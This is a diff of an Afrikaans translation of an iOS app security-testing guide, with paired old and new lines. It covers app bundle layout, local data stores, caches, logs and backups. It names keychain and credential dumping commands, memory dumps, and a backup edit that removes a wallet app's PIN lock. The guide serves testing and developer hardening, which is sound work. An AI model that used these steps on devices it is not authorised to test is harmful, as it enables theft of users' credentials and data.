Leer hoe om die **komponente van die toepassing te evalueer** en hoe om maklik **metodes en klasse te hook** met objection:
|
||||
|
||||
{{#ref}}
|
||||
ios-hooking-with-objection.md
|
||||
@ -162,16 +162,16 @@ ios-hooking-with-objection.md
|
||||
|
||||
### IPA Struktuur
|
||||
|
||||
Die struktuur van 'n **IPA-lêer** is essensieel dié van 'n **gecomprimeerde pakket**. Deur sy uitbreiding na `.zip` te hernoem, kan dit **ontspanne** word om sy inhoud te onthul. Binne hierdie struktuur verteenwoordig 'n **Bundle** 'n volledig verpakte toepassing wat gereed is vir installasie. Binne-in sal jy 'n gids vind met die naam `<NAME>.app`, wat die toepassing se hulpbronne insluit.
|
||||
Die struktuur van 'n **IPA-lêer** is in wese dié van 'n **gecomprimeerde pakket**. Deur die uitbreiding na `.zip` te hernoem, kan dit **dekomprimeer** word om sy inhoud te onthul. Binne hierdie struktuur verteenwoordig 'n **Bundle** 'n volledig verpakte toepassing wat gereed is vir installasie. Binne-in sal jy 'n gids met die naam `<NAME>.app` vind, wat die hulpbronne van die toepassing insluit.
|
||||
|
||||
- **`Info.plist`**: Hierdie lêer hou spesifieke konfigurasiedetails van die toepassing.
|
||||
- **`_CodeSignature/`**: Hierdie gids sluit 'n plist-lêer in wat 'n handtekening bevat, wat die integriteit van alle lêers in die bundel verseker.
|
||||
- **`Assets.car`**: 'n Gecomprimeerde argief wat hulpbronlêers soos ikone stoor.
|
||||
- **`Frameworks/`**: Hierdie gids huisves die toepassing se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees.
|
||||
- **`Frameworks/`**: Hierdie gids bevat die toepassing se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees.
|
||||
- **`PlugIns/`**: Dit kan uitbreidings van die toepassing insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou toepassing se permanente data vir offline gebruik te stoor, om tydelike data te kas, en om ongedaan maak funksionaliteit aan jou app op 'n enkele toestel toe te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinkroniseer, spieël Core Data outomaties jou skema na 'n CloudKit-container.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Die `PkgInfo`-lêer is 'n alternatiewe manier om die tipe en skepper kodes van jou toepassing of bundel te spesifiseer.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Is die taal pakkette wat hulpbronne vir daardie spesifieke tale bevat, en 'n standaard hulpbron in die geval dat 'n taal nie ondersteun word nie.
|
||||
- **Sekuriteit**: Die `_CodeSignature/` gids speel 'n kritieke rol in die app se sekuriteit deur die integriteit van alle gebundelde lêers deur middel van digitale handtekeninge te verifieer.
|
||||
- **Sekuriteit**: Die `_CodeSignature/` gids speel 'n kritieke rol in die app se sekuriteit deur die integriteit van alle gebundelde lêers deur digitale handtekeninge te verifieer.
|
||||
- **Hulpbronbestuur**: Die `Assets.car`-lêer gebruik kompressie om grafiese hulpbronne doeltreffend te bestuur, wat noodsaaklik is vir die optimalisering van toepassingprestasie en die vermindering van die algehele grootte.
|
||||
- **Frameworks en PlugIns**: Hierdie gidse beklemtoon die modulariteit van iOS-toepassings, wat ontwikkelaars in staat stel om herbruikbare kode biblioteke (`Frameworks/`) in te sluit en app-funksionaliteit uit te brei (`PlugIns/`).
|
||||
- **Lokalizering**: Die struktuur ondersteun verskeie tale, wat globale toepassingsbereik fasiliteer deur hulpbronne vir spesifieke taal pakkette in te sluit.
|
||||
@ -191,18 +191,18 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Onder die menigte inligting wat die **Info.plist** lêer kan bekendmaak, sluit noemenswaardige inskrywings app toestemming stringe (`UsageDescription`), pasgemaakte URL skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`) in. Hierdie inskrywings, saam met ander soos uitgevoerde/ingevoerde pasgemaakte dokument tipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of 'n eenvoudige `grep` opdrag te gebruik:
|
||||
Onder die menigte inligting wat die **Info.plist** lêer kan bekendmaak, sluit noemenswaardige inskrywings app toestemming stringe (`UsageDescription`), pasgemaakte URL skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`) in. Hierdie inskrywings, saam met ander soos uitgevoerde/ingevoerde pasgemaakte dokumenttipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of 'n eenvoudige `grep` opdrag te gebruik:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
**Data Paaie**
|
||||
|
||||
In die iOS-omgewing is gidse spesifiek aangewys vir **stelsels toepassings** en **gebruikers geïnstalleerde toepassings**. Stelsels toepassings woon in die `/Applications` gids, terwyl gebruikers geïnstalleerde toepassings onder `/var/mobile/containers/Data/Application/` geplaas word. Hierdie toepassings word toegeskryf met 'n unieke identifiseerder bekend as 'n **128-bit UUID**, wat die taak om 'n app se gids handmatig te vind uitdagend maak weens die ewekansigheid van die gidse name.
|
||||
In die iOS-omgewing is gidse spesifiek aangewys vir **stelsels toepassings** en **gebruikers geïnstalleerde toepassings**. Stelsels toepassings woon in die `/Applications` gids, terwyl gebruikers geïnstalleerde toepassings onder `/var/mobile/containers/Data/Application/` geplaas word. Hierdie toepassings word toegeslaan met 'n unieke identifiseerder bekend as 'n **128-bit UUID**, wat die taak om 'n app se gids handmatig te vind uitdagend maak weens die ewekansigheid van die gidse name.
|
||||
|
||||
> [!WARNING]
|
||||
> Aangesien toepassings in iOS in 'n sandbox moet wees, sal elke app ook 'n gids hê binne **`$HOME/Library/Containers`** met die app se **`CFBundleIdentifier`** as die gidsnaam.
|
||||
>
|
||||
> Beide gidse (data & houer gidse) het egter die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers verbind in die sleutel `MCMetadataIdentifier`).
|
||||
> egter, beide gidse (data & houer gidse) het die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers verbind in die sleutel `MCMetadataIdentifier`).
|
||||
|
||||
Om die ontdekking van 'n gebruikers geïnstalleerde app se installasie gids te vergemaklik, bied die **objection tool** 'n nuttige opdrag, `env`. Hierdie opdrag onthul gedetailleerde gidse inligting vir die betrokke app. Hieronder is 'n voorbeeld van hoe om hierdie opdrag te gebruik:
|
||||
```bash
|
||||
@ -229,7 +229,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- **AppName.app**
|
||||
- Dit is die Toepassing Bundel soos voorheen in die IPA gesien, dit bevat noodsaaklike toepassingsdata, statiese inhoud sowel as die toepassings se gecompileerde binêre.
|
||||
- Hierdie gids is sigbaar vir gebruikers, maar **gebruikers kan nie daarin skryf nie**.
|
||||
- Inhoud in hierdie gids is **nie geback-up nie**.
|
||||
- Inhoud in hierdie gids is **nie gebackup nie**.
|
||||
- Die inhoud van hierdie vouer word gebruik om die **kodehandtekening te valideer**.
|
||||
|
||||
**Data directory:**
|
||||
@ -237,7 +237,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- **Documents/**
|
||||
- Bevat al die gebruiker-gegenereerde data. Die toepassings eindgebruiker begin die skepping van hierdie data.
|
||||
- Sigbaar vir gebruikers en **gebruikers kan daarin skryf**.
|
||||
- Inhoud in hierdie gids is **gebak-up**.
|
||||
- Inhoud in hierdie gids is **gebackup**.
|
||||
- Die app kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
|
||||
- **Library/**
|
||||
- Bevat al **lêers wat nie gebruiker-spesifiek is nie**, soos **caches**, **voorkeure**, **cookies**, en eiendomslys (plist) konfigurasielêers.
|
||||
@ -245,12 +245,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- **Library/Caches/**
|
||||
- Bevat **semi-permanente gekapte lêers.**
|
||||
- Onsigbaar vir gebruikers en **gebruikers kan nie daarin skryf nie**.
|
||||
- Inhoud in hierdie gids is **nie geback-up nie**.
|
||||
- Inhoud in hierdie gids is **nie gebackup nie**.
|
||||
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die app nie loop nie en stoorplek laag is.
|
||||
- **Library/Application Support/**
|
||||
- Bevat **permanente** **lêers** wat nodig is om die app te laat loop.
|
||||
- **Onsigbaar** **vir** **gebruikers** en gebruikers kan nie daarin skryf nie.
|
||||
- Inhoud in hierdie gids is **gebak** **up**.
|
||||
- Inhoud in hierdie gids is **geback** **up**.
|
||||
- Die app kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
|
||||
- **Library/Preferences/**
|
||||
- Gebruik om eienskappe te stoor wat kan **volhard selfs nadat 'n toepassing herbegin is**.
|
||||
@ -260,7 +260,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen app-lanceringe moet volhard nie.
|
||||
- Bevat nie-permanente gekapte lêers.
|
||||
- **Onsigbaar** vir gebruikers.
|
||||
- Inhoud in hierdie gids is nie geback-up nie.
|
||||
- Inhoud in hierdie gids is nie gebackup nie.
|
||||
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die app nie loop nie en stoorplek laag is.
|
||||
|
||||
Kom ons kyk nader na iGoat-Swift se Toepassing Bundel (.app) gids binne die Bundel gids (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
@ -293,7 +293,7 @@ DVIA-v2:
|
||||
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
||||
[...]
|
||||
```
|
||||
**Kontroleer of die aansoek versleuteld is**
|
||||
**Kontroleer of die app versleuteld is**
|
||||
|
||||
Kyk of daar enige uitvoer is vir:
|
||||
```bash
|
||||
@ -391,7 +391,7 @@ Om lêers van **XML of binêre (bplist)** formaat na XML te omskakel, is verskei
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
**Vir Linux gebruikers:** Installeer eerst `libplist-utils`, gebruik dan `plistutil` om jou lêer te omskakel:
|
||||
**Vir Linux gebruikers:** Installeer eerst `libplist-utils`, gebruik dan `plistutil` om jou lêer te omskep:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
@ -403,7 +403,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
### Kern Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) is 'n raamwerk vir die bestuur van die modellaag van objekke in jou aansoek. [Core Data kan SQLite as sy volhoubare stoor gebruik](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), maar die raamwerk self is nie 'n databasis nie.\
|
||||
CoreData enkripteer nie sy data standaard nie. Daar kan egter 'n addisionele enkripsielaag by CoreData gevoeg word. Sien die [GitHub Repo](https://github.com/project-imas/encrypted-core-data) vir meer besonderhede.
|
||||
CoreData enkripteer nie sy data standaard nie. 'n Bykomende enkripsielaag kan egter by CoreData gevoeg word. Sien die [GitHub Repo](https://github.com/project-imas/encrypted-core-data) vir meer besonderhede.
|
||||
|
||||
Jy kan die SQLite Core Data-inligting van 'n aansoek in die pad `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` vind.
|
||||
|
||||
@ -438,7 +438,7 @@ Aangesien die Yap databasisse sqlite databasisse is, kan jy hulle vind met die v
|
||||
|
||||
### Ander SQLite Databasisse
|
||||
|
||||
Dit is algemeen dat toepassings hul eie sqlite databasis skep. Hulle mag **sensitiewe** **data** daarop **stoor** en dit ongeënkripteerd laat. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids na te gaan. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Dit is algemeen dat toepassings hul eie sqlite databasis skep. Hulle mag **stoor** **sensitiewe** **data** daarop en dit onversleuteld laat. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids na te gaan. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite Databases
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **liggewig** en **ingebedde** databasis enjin wat die **dokument-georiënteerde** (NoSQL) benadering volg. Dit is ontwerp om inheems te wees aan **iOS** en **macOS**, en bied die vermoë om data naatloos te sinkroniseer.
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **liggewig** en **ingebedde** databasis enjin wat die **dokument-georiënteerde** (NoSQL) benadering volg. Ontwerp om inheems te wees aan **iOS** en **macOS**, bied dit die vermoë om data naatloos te sinkroniseer.
|
||||
|
||||
Om potensiële Couchbase databasisse op 'n toestel te identifiseer, moet die volgende gids ondersoek word:
|
||||
```bash
|
||||
@ -508,7 +508,7 @@ Om die koekie-lêer te ondersoek, kan jy [**hierdie python-skrip**](https://gith
|
||||
```
|
||||
### Cache
|
||||
|
||||
Standaard stoor NSURLSession data, soos **HTTP versoeke en antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, indien tokens, gebruikersname of enige ander sensitiewe inligting geberg is. Om die gebergde inligting te vind, open die datagids van die toepassing (`/var/mobile/Containers/Data/Application/<UUID>`) en gaan na `/Library/Caches/<Bundle Identifier>`. Die **WebKit-kas word ook in die Cache.db** lêer gestoor. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n **normale SQLite databasis** is.
|
||||
Standaard stoor NSURLSession data, soos **HTTP versoeke en antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, indien tokens, gebruikersname of enige ander sensitiewe inligting geberg is. Om die gebergde inligting te vind, open die datagids van die toepassing (`/var/mobile/Containers/Data/Application/<UUID>`) en gaan na `/Library/Caches/<Bundle Identifier>`. Die **WebKit cache word ook in die Cache.db** lêer gestoor. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n n**ormale SQLite databasis** is.
|
||||
|
||||
Dit word **aanbeveel om die kas van hierdie data te deaktiveer**, aangesien dit sensitiewe inligting in die versoek of antwoord kan bevat. Die volgende lys hieronder toon verskillende maniere om dit te bereik:
|
||||
|
||||
@ -518,13 +518,13 @@ Dit word **aanbeveel om die kas van hierdie data te deaktiveer**, aangesien dit
|
||||
|
||||
Hierdie metode sal alle gebergde versoeke en antwoorde uit die Cache.db lêer verwyder.
|
||||
|
||||
2. As u nie die voordeel van koekies nodig het nie, sal dit aanbeveel word om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie-eiendom van URLSession te gebruik, wat die stoor van koekies en kaste deaktiveer.
|
||||
2. As u nie die voordeel van koekies wil gebruik nie, word dit aanbeveel om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie eienskap van URLSession te gebruik, wat die stoor van koekies en kaste deaktiveer.
|
||||
|
||||
[Apple dokumentasie](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`'n Ephemeral sessie konfigurasie objek is soortgelyk aan 'n standaard sessie konfigurasie (sien standaard), behalwe dat die ooreenstemmende sessie objek nie kaste, geloofwaardigheidswinkels, of enige sessie-verwante data op skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste keer dat 'n ephemeral sessie data op skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.'`
|
||||
|
||||
3. Kas kan ook gedeaktiveer word deur die Kasbeleid op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) te stel. Dit sal die stoor van Kas op enige manier deaktiveer, hetsy in geheue of op skyf.
|
||||
3. Cache kan ook gedeaktiveer word deur die Cache-beleid op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) in te stel. Dit sal die stoor van Cache op enige manier, hetsy in geheue of op skyf, deaktiveer.
|
||||
|
||||
### Snapshots
|
||||
|
||||
@ -572,9 +572,9 @@ Dit stel die agtergrondbeeld in op `overlayImage.png` wanneer die toepassing in
|
||||
|
||||
Vir toegang tot en bestuur van die iOS keychain, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir jailbroken toestelle. Boonop bied [**Objection**](https://github.com/sensepost/objection) die opdrag `ios keychain dump` vir soortgelyke doeleindes.
|
||||
|
||||
#### **Storing Credentials**
|
||||
#### **Stoor Kredensiale**
|
||||
|
||||
Die **NSURLCredential** klas is ideaal om sensitiewe inligting direk in die keychain te stoor, wat die behoefte aan NSUserDefaults of ander wrappers omseil. Om akrediteer te stoor na aanmelding, word die volgende Swift-kode gebruik:
|
||||
Die **NSURLCredential** klas is ideaal om sensitiewe inligting direk in die keychain te stoor, wat die behoefte aan NSUserDefaults of ander wrappers omseil. Om kredensiale na aanmelding te stoor, word die volgende Swift-kode gebruik:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
@ -584,13 +584,13 @@ Om hierdie gestoor geloofsbriewe te onttrek, word Objection se opdrag `ios nsurl
|
||||
|
||||
## **Pasgemaakte Toetsborde en Toetsbordkas**
|
||||
|
||||
Met iOS 8.0 en later kan gebruikers pasgemaakte toetsborduitbreidings installeer, wat hanteerbaar is onder **Instellings > Algemeen > Toetsbord > Toetsborde**. Terwyl hierdie toetsborde uitgebreide funksionaliteit bied, stel dit 'n risiko van toetsaantekening en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van toetsborde wat netwerktoegang vereis. Apps kan, en behoort, die gebruik van pasgemaakte toetsborde vir die invoer van sensitiewe inligting te beperk.
|
||||
Met iOS 8.0 en later kan gebruikers pasgemaakte toetsborduitbreidings installeer, wat hanteerbaar is onder **Instellings > Algemeen > Toetsbord > Toetsborde**. Terwyl hierdie toetsborde uitgebreide funksionaliteit bied, stel hulle 'n risiko van toetsaanslaglogging en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van toetsborde wat netwerktoegang vereis. Apps kan, en behoort, die gebruik van pasgemaakte toetsborde vir die invoer van sensitiewe inligting te beperk.
|
||||
|
||||
**Sekuriteitsaanbevelings:**
|
||||
|
||||
- Dit word aanbeveel om derdeparty-toetsborde te deaktiveer vir verbeterde sekuriteit.
|
||||
- Wees bewus van die outokorreksie en outo-suggesties funksies van die standaard iOS-toetsbord, wat sensitiewe inligting in kaslêers kan stoor wat geleë is in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Hierdie kaslêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die toetsbordwoordeboek te reset via **Instellings > Algemeen > Reset > Reset Toetsbordwoordeboek** om gekapte data te verwyder.
|
||||
- Die onderskep van netwerkverkeer kan onthul of 'n pasgemaakte toetsbord toetsaantekeninge op afstand oordra.
|
||||
- Wees bewus van die outokorreksie en outo-sugesties funksies van die standaard iOS-toetsbord, wat sensitiewe inligting in kaslêers kan stoor wat geleë is in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Hierdie kaslêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die toetsbordwoordeboek te reset via **Instellings > Algemeen > Reset > Reset Toetsbordwoordeboek** om gekapte data te verwyder.
|
||||
- Die onderskep van netwerkverkeer kan onthul of 'n pasgemaakte toetsbord toetsaanslae op afstand oordra.
|
||||
|
||||
### **Voorkoming van Teksveldkas**
|
||||
|
||||
@ -599,7 +599,7 @@ Die [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uit
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
Boonop, ontwikkelaars moet verseker dat teksvelde, veral dié vir die invoer van sensitiewe inligting soos wagwoorde en PIN's, caching deaktiveer deur `autocorrectionType` op `UITextAutocorrectionTypeNo` en `secureTextEntry` op `YES` te stel.
|
||||
Boonop, ontwikkelaars moet verseker dat teksvelde, veral dié vir die invoer van sensitiewe inligting soos wagwoorde en PIN's, die kasgeheue deaktiveer deur `autocorrectionType` op `UITextAutocorrectionTypeNo` en `secureTextEntry` op `YES` te stel.
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
@ -608,7 +608,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
|
||||
Die ontfouting van kode behels dikwels die gebruik van **logging**. Daar is 'n risiko betrokke aangesien **logs sensitiewe inligting kan bevat**. Voorheen, in iOS 6 en vroeëre weergawes, was logs toeganklik vir alle toepassings, wat 'n risiko van sensitiewe data lek veroorsaak het. **Nou is toepassings beperk tot die toegang van slegs hul logs**.
|
||||
|
||||
Ten spyte van hierdie beperkings, kan 'n **aanvaller met fisiese toegang** tot 'n ontgrendelde toestel steeds hiervan voordeel trek deur die toestel aan 'n rekenaar te koppel en **die logs te lees**. Dit is belangrik om te noem dat logs op die skyf bly selfs nadat die app verwyder is.
|
||||
Ten spyte van hierdie beperkings, kan 'n **aanvaller met fisiese toegang** tot 'n ontgrendelde toestel steeds hiervan gebruik maak deur die toestel aan 'n rekenaar te koppel en **die logs te lees**. Dit is belangrik om te noem dat logs op die skyf bly selfs nadat die app verwyder is.
|
||||
|
||||
Om risiko's te verminder, word dit aanbeveel om **grondig met die app te interaksie** te tree, alle funksies en invoere te verken om te verseker dat geen sensitiewe inligting per ongeluk gelog word nie.
|
||||
|
||||
@ -634,15 +634,15 @@ Vir meer gevorderde logging, kan die verbinding met die toestel se shell en die
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
Volg op met opdragte om logaktiwiteite te observeer, wat van onskatbare waarde kan wees om probleme te diagnoseer of potensiële datalekke in logs te identifiseer.
|
||||
Volg op met opdragte om logaktiwiteite te observeer, wat van onskatbare waarde kan wees vir die diagnose van probleme of die identifisering van potensiële datalekke in logs.
|
||||
|
||||
## Rugsteun
|
||||
|
||||
**Outomatiese rugsteunfunksies** is in iOS geïntegreer, wat die skepping van toesteldata-kopieë deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina) of iCloud vergemaklik. Hierdie rugsteun sluit byna alle toesteldata in, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
|
||||
**Outomatiese rugsteun funksies** is in iOS geïntegreer, wat die skepping van toesteldata-kopieë deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina) of iCloud vergemaklik. Hierdie rugsteun sluit byna alle toesteldata in, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
|
||||
|
||||
### Sekuriteitsrisiko's
|
||||
|
||||
Die insluiting van **geïnstalleerde toepassings en hul data** in rugsteun bring die kwessie van potensiële **datalekke** en die risiko dat **rugsteunwysigings die funksionaliteit van toepassings kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks** binne enige toepassing se gids of subgids te stoor om hierdie risiko's te verminder.
|
||||
Die insluiting van **geïnstalleerde toepassings en hul data** in rugsteun bring die kwessie van potensiële **datalekke** en die risiko dat **rugsteunwysigings die funksionaliteit van toepassings kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks** binne enige toepassing se gids of subgidsen te stoor om hierdie risiko's te verminder.
|
||||
|
||||
### Uitsluiting van Lêers uit Rugsteun
|
||||
|
||||
@ -650,7 +650,7 @@ Lêers in `Documents/` en `Library/Application Support/` word standaard gebackup
|
||||
|
||||
### Toetsing vir Kw vulnerabilities
|
||||
|
||||
Om 'n toepassing se rugsteun-sekuriteit te evalueer, begin deur **'n rugsteun te skep** met Finder, en vind dit dan met leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die rugsteun vir sensitiewe data of konfigurasies wat verander kan word om die gedrag van die toepassing te beïnvloed.
|
||||
Om 'n toepassing se rugsteun sekuriteit te evalueer, begin deur **'n rugsteun te skep** met Finder, en vind dit dan met leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die rugsteun vir sensitiewe data of konfigurasies wat verander kan word om die gedrag van die toepassing te beïnvloed.
|
||||
|
||||
Sensitiewe inligting kan gesoek word met behulp van opdraglyn gereedskap of toepassings soos [iMazing](https://imazing.com). Vir versleutelde rugsteun kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die rugsteun se wortel te kontroleer.
|
||||
```xml
|
||||
@ -667,15 +667,15 @@ Sensitiewe inligting kan gesoek word met behulp van opdraglyn gereedskap of toep
|
||||
```
|
||||
Vir die hantering van versleutelde rugsteun, kan Python-skripte beskikbaar in [DinoSec se GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), soos **backup_tool.py** en **backup_passwd.py**, nuttig wees, alhoewel dit moontlik aanpassings mag vereis vir kompatibiliteit met die nuutste iTunes/Finder weergawes. Die [**iOSbackup** tool](https://pypi.org/project/iOSbackup/) is 'n ander opsie om toegang te verkry tot lêers binne wagwoord-beskermde rugsteun.
|
||||
|
||||
### Modifisering van App Gedrag
|
||||
### Wysig App Gedrag
|
||||
|
||||
'n Voorbeeld van die verandering van app gedrag deur rugsteunmodifikasies word gedemonstreer in die [Bither bitcoin wallet app](https://github.com/bither/bither-ios), waar die UI slot PIN binne `net.bither.plist` onder die **pin_code** sleutel gestoor word. Om hierdie sleutel uit die plist te verwyder en die rugsteun te herstel, verwyder die PIN vereiste, wat onbeperkte toegang bied.
|
||||
'n Voorbeeld van die verandering van app gedrag deur rugsteun wysigings word gedemonstreer in die [Bither bitcoin wallet app](https://github.com/bither/bither-ios), waar die UI slot PIN gestoor word binne `net.bither.plist` onder die **pin_code** sleutel. Om hierdie sleutel uit die plist te verwyder en die rugsteun te herstel, verwyder die PIN vereiste, wat onbeperkte toegang bied.
|
||||
|
||||
## Samevatting oor Geheue Toetsing vir Sensitiewe Data
|
||||
|
||||
Wanneer daar met sensitiewe inligting wat in 'n toepassing se geheue gestoor is, gewerk word, is dit van kardinale belang om die blootstellingstyd van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **'n geheue dump te skep** en **die geheue in werklike tyd te analiseer**. Beide metodes het hul uitdagings, insluitend die moontlikheid om kritieke data tydens die dump proses of analise te mis.
|
||||
Wanneer daar met sensitiewe inligting wat in 'n toepassing se geheue gestoor is, gewerk word, is dit van kardinale belang om die blootstellingstyd van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **'n geheue dump te skep** en **die geheue in werklike tyd te analiseer**. Beide metodes het hul uitdagings, insluitend die potensiaal om kritieke data tydens die dump proses of analise te mis.
|
||||
|
||||
## **Herwinning en Analise van 'n Geheue Dump**
|
||||
## **Herwin en Analiseer 'n Geheue Dump**
|
||||
|
||||
Vir beide jailbroken en nie-jailbroken toestelle, toelaat gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) die dumping van 'n app se proses geheue. Sodra dit gedump is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting waarna jy soek.
|
||||
|
||||
@ -702,13 +702,13 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
```
|
||||
## Gebroke Kriptografie
|
||||
|
||||
### Swak Sleutelbestuurproses
|
||||
### Swak Sleutelbestuurprosesse
|
||||
|
||||
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike berging en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek.
|
||||
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek.
|
||||
|
||||
### Gebruik van Onveilige en/of Verouderde Algoritmes
|
||||
|
||||
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om autorisasie **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word.
|
||||
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word.
|
||||
|
||||
### Kontrole
|
||||
|
||||
